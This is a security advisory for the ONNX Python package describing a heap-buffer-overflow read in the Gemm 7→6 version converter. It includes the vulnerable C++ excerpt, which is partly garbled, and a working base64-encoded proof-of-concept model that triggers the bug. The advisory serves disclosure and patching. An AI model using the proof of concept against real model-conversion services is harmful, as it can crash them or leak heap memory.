GHSA-p893-rvq9-2xf9 ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape

• PyPI onnx: >= 1.3.0, < 1.22.0 → fixed in 1.22.0

Summary Heap-buffer-overflow READ (16 bytes) in `Gemm_7_6::adapt_gemm_7_6()` (`onnx/version_converter/adapters/gemm_7_6.h:41`) when `ConvertVersion()` processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses `B_shape[1]` without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation. Details The Gemm 7→6 downgrade adapter reads input shapes without bounds checking: ```cpp // gemm_7_6.h:26-42 const auto& A_shape = inputs[0]->sizes(); // May have sizes(); // May have hasAttribute(ktransB) && node->i(ktransB) == 1) { MN.emplace_back(B_shape[0]); // OOB if B has 0 dims } else { MN.emplace_back(B_shape[1]); // OOB if B has ` internal storage into adjacent heap memory. The same unchecked pattern applies to `A_shape[0]` and `A_shape[1]` at lines 34 and 36. Entry point: `onnx.version_converter.convert_version(model, 6)` — different from the `InferShapes` bugs reported in separate advisories. This triggers during opset downgrade (7→6). PoC ```python import base64 import onnx from onnx import version_converter poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH" model = onnx.load_from_string(base64.b64decode(poc_b64)) Triggers heap-buffer-overflow in Gemm_7_6 adapter version_converter.convert_version(model, 6) ``` 186-byte PoC. ASan confirms: `heap-buffer-overflow READ of size 16` at `gemm_7_6.h:41`, `0 bytes after 48-byte region` allocated in `tensorShapeProtoToDimensions` at `ir_pb_converter.cc:216`. Impact Any application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.